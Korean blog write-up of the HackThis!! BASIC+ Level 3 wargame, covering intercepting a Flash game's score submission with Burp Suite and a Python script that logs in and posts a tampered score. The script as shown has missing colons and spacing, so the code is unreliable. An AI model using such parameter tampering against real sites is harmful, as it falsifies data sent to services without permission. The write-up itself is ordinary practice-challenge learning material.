본문 바로가기

[Wargame Write-up]/HackThis!!

[HackThis!!] [BASIC+] LEVEL 3

Flash 파일을 재생하는 페이지가 표시된다.


submit 버튼을 누르면 109384라는 값을 전송하는데, 194175를 보내야 하는 것 같다.




Burp Suite를 이용해 어떤 Parameter에 담아 값을 전송하는지, 


(Parameter Tampering을 쓰려고 했는데 404 오류 때문에 관뒀다.)




어디로 전송하는지 알아두고




아래처럼 간단하게 프로그래밍한 후


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#-*- coding: utf-8 -*-
import getpass
import os
import requests
 
os.system("cls")
 
login_page = "https://www.hackthis.co.uk/?login"
submit_page = "https://www.hackthis.co.uk/levels/b3.php?submit"
 
data = {"username"raw_input("\n  ID: "), "password": getpass.getpass("  Password: ")}
 
session = requests.Session()
 
res = session.post(login_page, data=data)
 
res = session.post(submit_page, data={"score"194175})
 
print((res.status_code == 200and "\n  [*] Submission Success\n" or "\n  [*] Submission Failed\n")
cs



실행하면 되겠다.


'[Wargame Write-up] > HackThis!!' 카테고리의 다른 글

[HackThis!!] [BASIC+] LEVEL 5  (0) 2017.04.15
[HackThis!!] [BASIC+] LEVEL 4  (0) 2016.12.25
[HackThis!!] [CRYPT] LEVEL 4  (0) 2016.12.22
[HackThis!!] [CRYPT] LEVEL 3  (0) 2016.12.22
[HackThis!!] [CRYPT] LEVEL 2  (0) 2016.12.22